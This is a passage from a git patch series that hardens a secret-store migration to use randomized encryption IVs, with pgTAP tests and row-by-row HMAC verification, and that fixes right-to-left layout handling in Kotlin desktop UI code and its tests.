'iv-upgrade.test','owner', + pg_temp.legacy_iv_encrypt(password) FROM iv_expected; +ALTER TABLE public.secret_metadata DISABLE TRIGGER encrypt_twofa_secret_trigger; +INSERT INTO public.secret_metadata(secret_id,twofa_enabled,twofa_type,twofa_secret,recovery_codes_encrypted) +SELECT 'd1800000-0000-4000-8000-000000000022', true,'app', + 'v1:' || pg_temp.legacy_iv_encrypt(totp), pg_temp.legacy_iv_encrypt(recovery) +FROM iv_expected; +ALTER TABLE public.secret_metadata ENABLE TRIGGER encrypt_twofa_secret_trigger; + +\ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql + +SELECT is(public.decrypt_text(s.password_encrypted), e.password, + 'real migration preserves backslashes and Unicode in legacy password bytes') +FROM public.secrets s CROSS JOIN iv_expected e WHERE s.website='iv-upgrade.test'; +SELECT is(public.decrypt_text(m.recovery_codes_encrypted), e.recovery, + 'real migration preserves legacy recovery-code JSON bytes') +FROM public.secret_metadata m CROSS JOIN iv_expected e +WHERE m.secret_id='d1800000-0000-4000-8000-000000000022'; +SELECT is(public.safe_decrypt_twofa_secret(m.twofa_secret), e.totp, + 'real migration preserves legacy TOTP through the application reader') +FROM public.secret_metadata m CROSS JOIN iv_expected e +WHERE m.secret_id='d1800000-0000-4000-8000-000000000022'; +SELECT ok(s.password_encrypted LIKE 'v2:%' + AND m.recovery_codes_encrypted LIKE 'v2:%' AND m.twofa_secret LIKE 'v1:v2:%', + 'all three populated fields receive their correct storage envelopes') +FROM public.secrets s JOIN public.secret_metadata m ON m.secret_id=s.id +WHERE s.website='iv-upgrade.test'; +SELECT is(tgenabled, 'O'::"char", 'migration restores the TOTP input trigger') +FROM pg_trigger WHERE tgrelid='public.secret_metadata'::regclass +AND tgname='encrypt_twofa_secret_trigger'; +SELECT is(public.decrypt_text(public.encrypt_text(password)), password, + 'new plaintext writes preserve literal backslashes and Unicode') FROM iv_expected; +SELECT is(public.decrypt_text(public.encrypt_text('')), '', 'empty plaintext round trips'); +SELECT is(public.decrypt_text(public.encrypt_text(NULL)), NULL, 'null plaintext round trips'); +CREATE TEMP TABLE iv_snapshot AS +SELECT s.password_encrypted,m.recovery_codes_encrypted,m.twofa_secret +FROM public.secrets s JOIN public.secret_metadata m ON m.secret_id=s.id +WHERE s.website='iv-upgrade.test'; + +\ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql + +SELECT results_eq( + $$SELECT s.password_encrypted,m.recovery_codes_encrypted,m.twofa_secret + FROM public.secrets s JOIN public.secret_metadata m ON m.secret_id=s.id + WHERE s.website='iv-upgrade.test'$$, + $$SELECT * FROM iv_snapshot$$, 'replaying the real migration leaves every envelope byte-identical'); +SELECT throws_ok($$UPDATE public.secret_metadata SET twofa_secret='v1:copied-envelope' + WHERE secret_id='d1800000-0000-4000-8000-000000000022'$$, + '22023', 'TOTP input must be plaintext, not a storage envelope', + 'restored trigger rejects importing a stored envelope'); +UPDATE public.secret_metadata SET twofa_secret='NEWPLAINTEXTSEED' +WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +SELECT is(public.safe_decrypt_twofa_secret(twofa_secret),'NEWPLAINTEXTSEED', + 'restored trigger accepts plaintext and encrypts in the new format') +FROM public.secret_metadata WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +-- Corruption fails closed before any row or trigger is changed, with a +-- column-specific recovery hint rather than leaking a value in diagnostics. +ALTER TABLE public.secret_metadata DISABLE TRIGGER encrypt_twofa_secret_trigger; +UPDATE public.secret_metadata SET twofa_secret='v1:invalid!' +WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +ALTER TABLE public.secret_metadata ENABLE TRIGGER encrypt_twofa_secret_trigger; +SELECT throws_ok($migration$ +\ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql +$migration$, 'P0001', + 'IV upgrade refused: 1 unreadable rows in public.secret_metadata.twofa_secret; recover these rows with the correct key before retrying', + 'unreadable TOTP aborts the actual migration with column-only diagnostics'); +SELECT is(twofa_secret, 'v1:invalid!', 'failed upgrade preserves the unreadable row') +FROM public.secret_metadata WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +SELECT is(tgenabled, 'O'::"char", 'failed upgrade leaves TOTP encryption enabled') +FROM pg_trigger WHERE tgrelid='public.secret_metadata'::regclass +AND tgname='encrypt_twofa_secret_trigger'; +SELECT * FROM finish(); +ROLLBACK; From 3e09b5753b114e64ad2bab1f9f6712dfb3ff890d Mon Sep 17 00:00:00 2001 From: Shivang Date: Mon, 14 Sep 2026 02:35:45 -0700 Subject: [PATCH 26/28] fix: verify encryption backfill and address integration review --- .../VerticalTabBarDrawer.kt | 15 ++- .../overlays/OverlayWindowBounds.kt | 6 +- .../boss/kernel/services/LogServiceBridge.kt | 4 +- .../rever/boss/app/ContentInsetLayoutTest.kt | 7 ++ .../overlays/HeavyweightCornerTest.kt | 46 +++++---- .../window_panel/TabBarSidebarRevealTest.kt | 5 +- .../boss/plugin/browser/BrowserFindTest.kt | 13 +-- .../ipc/auth/ProcessIdentityInterceptor.kt | 13 +-- scripts/test/prepare-db-access-tests.py | 2 +- ...4000000_randomize_secret_encryption_iv.sql | 94 ++++++++++++++++--- supabase/tests/secret_iv_upgrade_test.sql.in | 48 +++++++++- 11 files changed, 189 insertions(+), 64 deletions(-) diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt index f85cf5df32..a0b570a2f5 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt @@ -86,7 +86,8 @@ fun BoxScope.VerticalTabBarDrawer( val region = panelRegion ?: return val heavyweight = overlayCornerIsHeavyweight() - val drawerRegion = region.besideLeadingRail(railWidth, LocalLayoutDirection.current) + val layoutDirection = LocalLayoutDirection.current + val drawerRegion = region.besideLeadingRail(railWidth, layoutDirection) if (heavyweight) { OverlayCorner( @@ -109,8 +110,8 @@ fun BoxScope.VerticalTabBarDrawer( .align(Alignment.CenterStart) .padding(start = railWidth) .fillMaxHeight(), - enter = slideInHorizontally(initialOffsetX = { -it }), - exit = slideOutHorizontally(targetOffsetX = { -it }), + enter = slideInHorizontally(initialOffsetX = { drawerSlideOffset(it, layoutDirection) }), + exit = slideOutHorizontally(targetOffsetX = { drawerSlideOffset(it, layoutDirection) }), ) { Box(modifier = Modifier.hoverable(hoverSource, enabled = hoverEnabled)) { content() } } @@ -131,7 +132,7 @@ fun BoxScope.VerticalTabBarDrawer( */ internal fun IntRect.besideLeadingRail( railWidth: Dp, - layoutDirection: LayoutDirection = LayoutDirection.Ltr, + layoutDirection: LayoutDirection, ): IntRect = if (layoutDirection == LayoutDirection.Rtl) { copy(right = (right - railWidth.value.roundToInt()).coerceAtLeast(left)) @@ -171,3 +172,9 @@ private fun Rect.hasArea(): Boolean { val h = height return w.isFinite() && h.isFinite() && w > 0f && h > 0f } + +/** The lightweight drawer slides from its logical start edge, including RTL. */ +internal fun drawerSlideOffset( + width: Int, + layoutDirection: LayoutDirection, +): Int = if (layoutDirection == LayoutDirection.Rtl) width else -width diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt index f5778ef11c..3e50f0f513 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt @@ -144,7 +144,7 @@ internal fun resolveRegion( bounds: IntArray?, inset: DpSize, regionInWindow: IntRect?, - layoutDirection: LayoutDirection = LayoutDirection.Ltr, + layoutDirection: LayoutDirection, ): IntArray? { if (bounds == null || regionInWindow == null) return insetBounds(bounds, inset, layoutDirection) val left = regionInWindow.left.coerceIn(0, bounds[2]) @@ -168,7 +168,7 @@ internal fun cornerPosition( bounds: IntArray?, size: DpSize, alignment: Alignment, - layoutDirection: LayoutDirection = LayoutDirection.Ltr, + layoutDirection: LayoutDirection, ): Pair { if (bounds == null) return 0 to 0 val content = IntSize(size.width.value.roundToInt(), size.height.value.roundToInt()) @@ -196,7 +196,7 @@ internal fun cornerPosition( internal fun insetBounds( bounds: IntArray?, inset: DpSize, - layoutDirection: LayoutDirection = LayoutDirection.Ltr, + layoutDirection: LayoutDirection, ): IntArray? { // An unmeasurable parent stays unmeasurable, and a zero inset returns the SAME instance - see // the KDoc on identity above. diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt index 21ca81fd0a..64555eec1f 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt @@ -13,10 +13,10 @@ import kotlinx.coroutines.flow.Flow import kotlinx.coroutines.flow.flow /** - * Revocation is checked before each emission; idle streams are not proactively disconnected. - * * Kernel-side bridge for `LogService`. * + * Revocation is checked before each emission; idle streams are not proactively disconnected. + * * **Every call requires a verified caller identity (BossConsole#53)**, the same requirement and * helper shape introduced for the Secret Service in PR #505. [watchLogs] and [exportLogs] are why * this matters more than most of this bridge's siblings: they hand out the live and full-history diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt index 884e5a1388..19ea701da9 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt @@ -1,5 +1,6 @@ package ai.rever.boss.app +import ai.rever.boss.components.window_panel.components.main_window_panels.drawerSlideOffset import androidx.compose.foundation.layout.Box import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.Row @@ -93,6 +94,12 @@ class ContentInsetLayoutTest { @Composable private fun Bar(modifier: Modifier) = Box(modifier = modifier) + @Test + fun `drawer animation starts at its anchored edge`() { + assertEquals(-240, drawerSlideOffset(240, LayoutDirection.Ltr)) + assertEquals(240, drawerSlideOffset(240, LayoutDirection.Rtl)) + } + @Test fun `the inset is the right sidebar's width and the bottom bar's height`() { // A hover-revealed right sidebar over a status bar the user kept: the two pieces of chrome diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt index 28d32ee38d..e672b5901c 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt @@ -30,12 +30,12 @@ class HeavyweightCornerTest { fun `top end sits at the parent's right edge, not the screen's`() { // 100 + (1000 - 432) = 668, i.e. offset from the PARENT origin. Using the screen origin // instead is the classic version of this bug and lands the toast on the wrong monitor. - assertEquals(668 to 50, cornerPosition(parent, size, Alignment.TopEnd)) + assertEquals(668 to 50, cornerPosition(parent, size, Alignment.TopEnd, LayoutDirection.Ltr)) } @Test fun `top start sits at the parent origin`() { - assertEquals(100 to 50, cornerPosition(parent, size, Alignment.TopStart)) + assertEquals(100 to 50, cornerPosition(parent, size, Alignment.TopStart, LayoutDirection.Ltr)) } @Test @@ -46,19 +46,19 @@ class HeavyweightCornerTest { @Test fun `bottom end offsets by both slacks`() { - assertEquals(668 to 650, cornerPosition(parent, size, Alignment.BottomEnd)) + assertEquals(668 to 650, cornerPosition(parent, size, Alignment.BottomEnd, LayoutDirection.Ltr)) } @Test fun `center centres on both axes`() { - assertEquals(384 to 350, cornerPosition(parent, size, Alignment.Center)) + assertEquals(384 to 350, cornerPosition(parent, size, Alignment.Center, LayoutDirection.Ltr)) } @Test fun `fractional sizes round instead of clipping a pixel`() { val fractional = DpSize(432.6.dp, 200.6.dp) - assertEquals(667 to 649, cornerPosition(parent, fractional, Alignment.BottomEnd)) + assertEquals(667 to 649, cornerPosition(parent, fractional, Alignment.BottomEnd, LayoutDirection.Ltr)) } @Test @@ -66,13 +66,13 @@ class HeavyweightCornerTest { // A negative slack would put the toast above and left of the window, where it is off screen // and its dismiss button is unreachable. Floor at the parent origin instead. val huge = DpSize(2000.dp, 2000.dp) - assertEquals(100 to 50, cornerPosition(parent, huge, Alignment.TopEnd)) - assertEquals(100 to 50, cornerPosition(parent, huge, Alignment.BottomEnd)) + assertEquals(100 to 50, cornerPosition(parent, huge, Alignment.TopEnd, LayoutDirection.Ltr)) + assertEquals(100 to 50, cornerPosition(parent, huge, Alignment.BottomEnd, LayoutDirection.Ltr)) } @Test fun `unmeasured parent falls back to the origin`() { - assertEquals(0 to 0, cornerPosition(null, size, Alignment.TopEnd)) + assertEquals(0 to 0, cornerPosition(null, size, Alignment.TopEnd, LayoutDirection.Ltr)) } // --- insetBounds: anchoring to a sub-region of the window --- @@ -82,12 +82,12 @@ class HeavyweightCornerTest { // Identity, not merely equal contents: every existing caller passes zero, and returning a // fresh array would make the placement effect's key change on every recomposition - one // native setLocation per frame, for nothing. - assertSame(parent, insetBounds(parent, DpSize.Zero)) + assertSame(parent, insetBounds(parent, DpSize.Zero, LayoutDirection.Ltr)) } @Test fun `an inset shrinks the far edges and leaves the origin alone`() { - val region = insetBounds(parent, DpSize(48.dp, 24.dp)) + val region = insetBounds(parent, DpSize(48.dp, 24.dp), LayoutDirection.Ltr) assertEquals(listOf(100, 50, 952, 776), region?.toList()) } @@ -95,12 +95,12 @@ class HeavyweightCornerTest { fun `bottom end moves in by exactly the inset while top start does not move at all`() { // The whole point of expressing this as a smaller rectangle: a caller inset from the right // and the bottom has not moved its top-left corner, so a near-corner anchor must not move. - val region = insetBounds(parent, DpSize(48.dp, 24.dp)) + val region = insetBounds(parent, DpSize(48.dp, 24.dp), LayoutDirection.Ltr) - assertEquals(620 to 626, cornerPosition(region, size, Alignment.BottomEnd)) + assertEquals(620 to 626, cornerPosition(region, size, Alignment.BottomEnd, LayoutDirection.Ltr)) assertEquals( - cornerPosition(parent, size, Alignment.TopStart), - cornerPosition(region, size, Alignment.TopStart), + cornerPosition(parent, size, Alignment.TopStart, LayoutDirection.Ltr), + cornerPosition(region, size, Alignment.TopStart, LayoutDirection.Ltr), ) } @@ -109,15 +109,15 @@ class HeavyweightCornerTest { // A negative extent reads as slack in cornerPosition, which would place the overlay outside // the parent entirely - the failure mode the floor in cornerPosition exists to prevent, // reintroduced one layer up. - val region = insetBounds(parent, DpSize(4000.dp, 4000.dp)) + val region = insetBounds(parent, DpSize(4000.dp, 4000.dp), LayoutDirection.Ltr) assertEquals(listOf(100, 50, 0, 0), region?.toList()) - assertEquals(100 to 50, cornerPosition(region, size, Alignment.BottomEnd)) + assertEquals(100 to 50, cornerPosition(region, size, Alignment.BottomEnd, LayoutDirection.Ltr)) } @Test fun `an unmeasured parent stays unmeasured through an inset`() { - assertNull(insetBounds(null, DpSize(48.dp, 24.dp))) + assertNull(insetBounds(null, DpSize(48.dp, 24.dp), LayoutDirection.Ltr)) } // --- bounds tracking: the decisions the AWT listeners make --- @@ -202,12 +202,18 @@ class HeavyweightCornerTest { @Test fun `absolute alignment does not mirror and custom bias is honored`() { assertEquals(100 to 50, cornerPosition(parent, size, AbsoluteAlignment.TopLeft, LayoutDirection.Rtl)) - assertEquals(526 to 350, cornerPosition(parent, size, BiasAlignment(0.5f, 0f))) + assertEquals(526 to 350, cornerPosition(parent, size, BiasAlignment(0.5f, 0f), LayoutDirection.Ltr)) } @Test fun `odd center slack and fractional round down follow Compose`() { - assertEquals(385 to 350, cornerPosition(intArrayOf(100, 50, 1001, 800), size, Alignment.Center)) - assertEquals(668 to 650, cornerPosition(parent, DpSize(432.4.dp, 200.4.dp), Alignment.BottomEnd)) + assertEquals( + 385 to 350, + cornerPosition(intArrayOf(100, 50, 1001, 800), size, Alignment.Center, LayoutDirection.Ltr), + ) + assertEquals( + 668 to 650, + cornerPosition(parent, DpSize(432.4.dp, 200.4.dp), Alignment.BottomEnd, LayoutDirection.Ltr), + ) } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/window_panel/TabBarSidebarRevealTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/window_panel/TabBarSidebarRevealTest.kt index 294885f297..c7f0bde3b6 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/window_panel/TabBarSidebarRevealTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/window_panel/TabBarSidebarRevealTest.kt @@ -5,6 +5,7 @@ import ai.rever.boss.components.window_panel.components.main_window_panels.SIDEB import ai.rever.boss.components.window_panel.components.main_window_panels.besideLeadingRail import ai.rever.boss.components.window_panel.components.main_window_panels.hoverRevealTarget import androidx.compose.ui.unit.IntRect +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import kotlin.test.Test import kotlin.test.assertEquals @@ -79,7 +80,7 @@ class TabBarSidebarRevealTest { assertEquals( IntRect(left = 76, top = 12, right = 520, bottom = 612), - panel.besideLeadingRail(36.dp), + panel.besideLeadingRail(36.dp, LayoutDirection.Ltr), ) } @@ -89,7 +90,7 @@ class TabBarSidebarRevealTest { // zero-width answer is what resolveRegion's documented inset fallback then acts on. // Pin the coercion direction so that inheritance stays a deliberate choice. val panel = IntRect(left = 40, top = 12, right = 50, bottom = 612) - val region = panel.besideLeadingRail(36.dp) + val region = panel.besideLeadingRail(36.dp, LayoutDirection.Ltr) assertEquals(50, region.left) assertEquals(region.left, region.right, "the drawer region is zero-width, not negative") diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/BrowserFindTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/BrowserFindTest.kt index 7d71b2a8b5..f18844a509 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/BrowserFindTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/BrowserFindTest.kt @@ -6,6 +6,7 @@ import ai.rever.boss.utils.SystemUtils import androidx.compose.ui.geometry.Rect import androidx.compose.ui.unit.DpSize import androidx.compose.ui.unit.IntRect +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import com.teamdev.jxbrowser.browser.Browser import com.teamdev.jxbrowser.search.FindResult @@ -80,8 +81,8 @@ class BrowserFindTest { val pane = intArrayOf(1000, 500, 800, 600) val inset = DpSize(40.dp, 20.dp) assertEquals( - insetBounds(pane, inset)!!.toList(), - resolveRegion(pane, inset, regionInWindow = null)!!.toList(), + insetBounds(pane, inset, LayoutDirection.Ltr)!!.toList(), + resolveRegion(pane, inset, regionInWindow = null, LayoutDirection.Ltr)!!.toList(), ) } @@ -89,7 +90,7 @@ class BrowserFindTest { fun `a region is offset into screen coordinates`() { // The caller measures against the window; HeavyweightCorner places against the screen. val pane = intArrayOf(1000, 500, 800, 600) - val resolved = resolveRegion(pane, DpSize.Zero, IntRect(400, 8, 792, 592)) + val resolved = resolveRegion(pane, DpSize.Zero, IntRect(400, 8, 792, 592), LayoutDirection.Ltr) assertEquals(listOf(1400, 508, 392, 584), resolved!!.toList()) } @@ -99,7 +100,7 @@ class BrowserFindTest { // a resize. An unclamped region wider than the pane would place an always-on-top overlay // outside the window it belongs to. val pane = intArrayOf(0, 0, 800, 600) - val resolved = resolveRegion(pane, DpSize.Zero, IntRect(0, 0, 5000, 5000)) + val resolved = resolveRegion(pane, DpSize.Zero, IntRect(0, 0, 5000, 5000), LayoutDirection.Ltr) assertEquals(listOf(0, 0, 800, 600), resolved!!.toList()) } @@ -107,8 +108,8 @@ class BrowserFindTest { fun `a degenerate region falls back to the inset path`() { val pane = intArrayOf(0, 0, 800, 600) val inset = DpSize(30.dp, 10.dp) - val resolved = resolveRegion(pane, inset, IntRect(900, 900, 950, 950)) - assertEquals(insetBounds(pane, inset)!!.toList(), resolved!!.toList()) + val resolved = resolveRegion(pane, inset, IntRect(900, 900, 950, 950), LayoutDirection.Ltr) + assertEquals(insetBounds(pane, inset, LayoutDirection.Ltr)!!.toList(), resolved!!.toList()) } // ======================================================================== diff --git a/modules/boss-ipc/src/main/kotlin/ai/rever/boss/ipc/auth/ProcessIdentityInterceptor.kt b/modules/boss-ipc/src/main/kotlin/ai/rever/boss/ipc/auth/ProcessIdentityInterceptor.kt index 5584e4c99d..fe91867c37 100644 --- a/modules/boss-ipc/src/main/kotlin/ai/rever/boss/ipc/auth/ProcessIdentityInterceptor.kt +++ b/modules/boss-ipc/src/main/kotlin/ai/rever/boss/ipc/auth/ProcessIdentityInterceptor.kt @@ -14,14 +14,11 @@ import io.grpc.ServerInterceptor * Reads the [PROCESS_TOKEN_METADATA_KEY] header, resolves it through [registry], and — when it names * a real, currently-issued credential — publishes the owning process id under [AUTHENTICATED_PROCESS_ID] * for the rest of the call to read via [Context]. A missing or unrecognised token leaves that key unset - * rather than failing the call outright: most of the kernel's IPC surface (thirteen other service - * bridges as of writing, none of them authenticated today) does not check identity at all, and - * rejecting here would be authentication for services that never asked for it — the same reason a - * missing/invalid token must not weaken or change behaviour for those. Whether the *absence* of an - * identity is acceptable is each service's own call; [ai.rever.boss.kernel.services.PluginUIServiceBridge], - * [ai.rever.boss.kernel.services.SecretServiceBridge] and - * [ai.rever.boss.kernel.services.RoleManagementServiceBridge] are the three that currently make it - - * BossConsole#53's own follow-up tracks closing the rest. + * rather than failing the call outright. Each service decides whether identity is required; + * the interceptor itself does not authenticate the whole IPC surface. Plugin UI, Secret, + * Role Management, Download, Git and Log bridges enforce caller identity. Do not treat this + * list as an authorization policy: inspect each service's guards when adding an RPC. + * BossConsole#53 tracks closing the remaining unguarded services. */ class ProcessIdentityInterceptor( private val registry: ProcessTokenRegistry, diff --git a/scripts/test/prepare-db-access-tests.py b/scripts/test/prepare-db-access-tests.py index 8d5c0c289c..76c8459913 100644 --- a/scripts/test/prepare-db-access-tests.py +++ b/scripts/test/prepare-db-access-tests.py @@ -27,7 +27,7 @@ # name -> (operation inlined at each marker, exact number of markers expected) SUITES = [ - ("secret_iv_upgrade", "migrations/20260914000000_randomize_secret_encryption_iv.sql", 3), + ("secret_iv_upgrade", "migrations/20260914000000_randomize_secret_encryption_iv.sql", 5), ("master_key_rotation", "ops/rotate_master_encryption_key.sql", 5), ("db_access_audit", "audit/identity_disclosure_audit.sql", 4), ("client_grant_audit", "audit/client_grant_audit.sql", 2), diff --git a/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql b/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql index d7c53ef8ab..9b470b6eeb 100644 --- a/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql +++ b/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql @@ -24,6 +24,14 @@ -- below converts it, and nothing but encrypt_text/decrypt_text's own behavior -- changes for any caller. -- +-- Plaintext encoding also changes from plaintext::bytea (which interprets +-- backslash/octal escapes) to convert_to(plaintext, 'utf8'), preserving literal +-- backslashes. Legacy bytes must decode as UTF-8: an old octal-escaped value +-- containing invalid UTF-8 refuses this upgrade and must be recovered first. +-- The backfill locks both core tables, blocking secret reads and writes for its +-- duration. Per-row HMACs verify raw plaintext and application-reader results +-- before commit; diagnostics contain only column names and counts. +-- -- Deliberately NOT touched here, so nobody assumes more was fixed than was: -- - Defect 2 (encryption_key::bytea truncates the key to its first 32 -- *bytes of the string's own characters* - 32 hex characters is 128 bits, @@ -136,39 +144,60 @@ DECLARE field record; stored record; unreadable bigint; + failures text := ''; + fingerprint_key bytea := extensions.gen_random_bytes(32); + plain text; + app_plain text; + expected bigint; + actual bigint; + mismatched bigint; BEGIN - -- A missing/disabled input trigger is an unsafe schema state, not an optional - -- deployment. Refuse before touching data; the operator must restore it first. + -- Match rotation's lock order and serialize with its key-management operation. + PERFORM pg_catalog.pg_advisory_xact_lock(423, 1200); + LOCK TABLE public.secret_metadata, public.secrets IN ACCESS EXCLUSIVE MODE; IF NOT EXISTS (SELECT 1 FROM pg_catalog.pg_trigger WHERE tgrelid = 'public.secret_metadata'::regclass AND tgname = 'encrypt_twofa_secret_trigger' AND tgenabled = 'O') THEN RAISE EXCEPTION 'IV upgrade requires enabled encrypt_twofa_secret_trigger; restore the TOTP input trigger first'; END IF; - -- Report counts and column names only, never plaintext, ciphertext or keys. - -- Do not skip unreadable rows or turn them into NULL during an upgrade. + -- An ephemeral HMAC key prevents stored fingerprints being password hashes. + CREATE TEMP TABLE iv_upgrade_fp ( + tbl text, col text, pk text, fp bytea, app_fp bytea, + PRIMARY KEY (tbl, col, pk) + ) ON COMMIT DROP; FOR field IN SELECT * FROM (VALUES - ('secrets', 'password_encrypted', 1, ''), - ('secret_metadata', 'recovery_codes_encrypted', 1, ''), - ('secret_metadata', 'twofa_secret', 4, 'v1:') - ) AS fields(tbl, col, start_at, prefix) LOOP + ('secrets', 'password_encrypted', 'id', 1, 'public.decrypt_text'), + ('secret_metadata', 'recovery_codes_encrypted', 'secret_id', 1, 'public.safe_decrypt_recovery_codes'), + ('secret_metadata', 'twofa_secret', 'secret_id', 4, 'public.safe_decrypt_twofa_secret') + ) AS fields(tbl, col, pk, start_at, reader) LOOP unreadable := 0; FOR stored IN EXECUTE pg_catalog.format( - 'SELECT pg_catalog.substr(%1$I, %2$s) AS value FROM public.%3$I ' - 'WHERE %1$I IS NOT NULL AND %1$I LIKE %4$L ' - 'AND pg_catalog.substr(%1$I, %2$s) NOT LIKE ''v2:%%''', - field.col, field.start_at, field.tbl, field.prefix || '%') LOOP + 'SELECT %1$I::text AS pk, %2$I AS value FROM public.%3$I WHERE %2$I IS NOT NULL', + field.pk, field.col, field.tbl) LOOP BEGIN - PERFORM public.decrypt_text(stored.value); + plain := public.decrypt_text(pg_catalog.substr(stored.value, field.start_at)); + EXECUTE pg_catalog.format('SELECT %s($1)::text', field.reader) + INTO app_plain USING stored.value; + IF plain IS NULL OR app_plain IS NULL THEN + RAISE EXCEPTION 'Unreadable value'; + END IF; + INSERT INTO pg_temp.iv_upgrade_fp VALUES ( + field.tbl, field.col, stored.pk, + extensions.hmac(pg_catalog.convert_to(plain, 'utf8'), fingerprint_key, 'sha256'), + extensions.hmac(pg_catalog.convert_to(app_plain, 'utf8'), fingerprint_key, 'sha256')); EXCEPTION WHEN OTHERS THEN unreadable := unreadable + 1; END; END LOOP; IF unreadable > 0 THEN - RAISE EXCEPTION 'IV upgrade refused: % unreadable rows in public.%; recover these rows with the correct key before retrying', - unreadable, field.tbl || '.' || field.col; + failures := failures || pg_catalog.format('%s unreadable rows in public.%s; ', + unreadable, field.tbl || '.' || field.col); END IF; END LOOP; + IF failures <> '' THEN + RAISE EXCEPTION 'IV upgrade refused: %recover these rows with the correct key and valid UTF-8 before retrying', failures; + END IF; UPDATE public.secrets SET password_encrypted = public.encrypt_text(public.decrypt_text(password_encrypted)) @@ -196,5 +225,40 @@ WHERE twofa_secret LIKE 'v1:%' AND substring(twofa_secret from 4) NOT LIKE 'v2:%'; ALTER TABLE public.secret_metadata ENABLE TRIGGER encrypt_twofa_secret_trigger; +-- Verify every non-null cell, including already-v2 values and application +-- adapters which can return NULL or [] instead of throwing on bad framing. +FOR field IN SELECT * FROM (VALUES + ('secrets', 'password_encrypted', 'id', 1, 'public.decrypt_text'), + ('secret_metadata', 'recovery_codes_encrypted', 'secret_id', 1, 'public.safe_decrypt_recovery_codes'), + ('secret_metadata', 'twofa_secret', 'secret_id', 4, 'public.safe_decrypt_twofa_secret') +) AS fields(tbl, col, pk, start_at, reader) LOOP + SELECT count(*) INTO expected FROM pg_temp.iv_upgrade_fp f + WHERE f.tbl = field.tbl AND f.col = field.col; + actual := 0; + mismatched := 0; + FOR stored IN EXECUTE pg_catalog.format( + 'SELECT %1$I::text AS pk, %2$I AS value FROM public.%3$I WHERE %2$I IS NOT NULL', + field.pk, field.col, field.tbl) LOOP + actual := actual + 1; + BEGIN + plain := public.decrypt_text(pg_catalog.substr(stored.value, field.start_at)); + EXECUTE pg_catalog.format('SELECT %s($1)::text', field.reader) + INTO app_plain USING stored.value; + IF pg_catalog.substr(stored.value, field.start_at) NOT LIKE 'v2:%' OR NOT EXISTS (SELECT 1 FROM pg_temp.iv_upgrade_fp f + WHERE f.tbl = field.tbl AND f.col = field.col AND f.pk = stored.pk + AND f.fp = extensions.hmac(pg_catalog.convert_to(plain, 'utf8'), fingerprint_key, 'sha256') + AND f.app_fp = extensions.hmac(pg_catalog.convert_to(app_plain, 'utf8'), fingerprint_key, 'sha256')) THEN + mismatched := mismatched + 1; + END IF; + EXCEPTION WHEN OTHERS THEN + mismatched := mismatched + 1; + END; + END LOOP; + IF actual <> expected OR mismatched > 0 THEN + RAISE EXCEPTION 'IV upgrade verification failed for public.%: expected % rows, found %, mismatched %; rolling back', + field.tbl || '.' || field.col, expected, actual, mismatched; + END IF; +END LOOP; +DROP TABLE pg_temp.iv_upgrade_fp; END; $backfill$; diff --git a/supabase/tests/secret_iv_upgrade_test.sql.in b/supabase/tests/secret_iv_upgrade_test.sql.in index 2a950235a6..2174d8fd93 100644 --- a/supabase/tests/secret_iv_upgrade_test.sql.in +++ b/supabase/tests/secret_iv_upgrade_test.sql.in @@ -81,17 +81,59 @@ WHERE 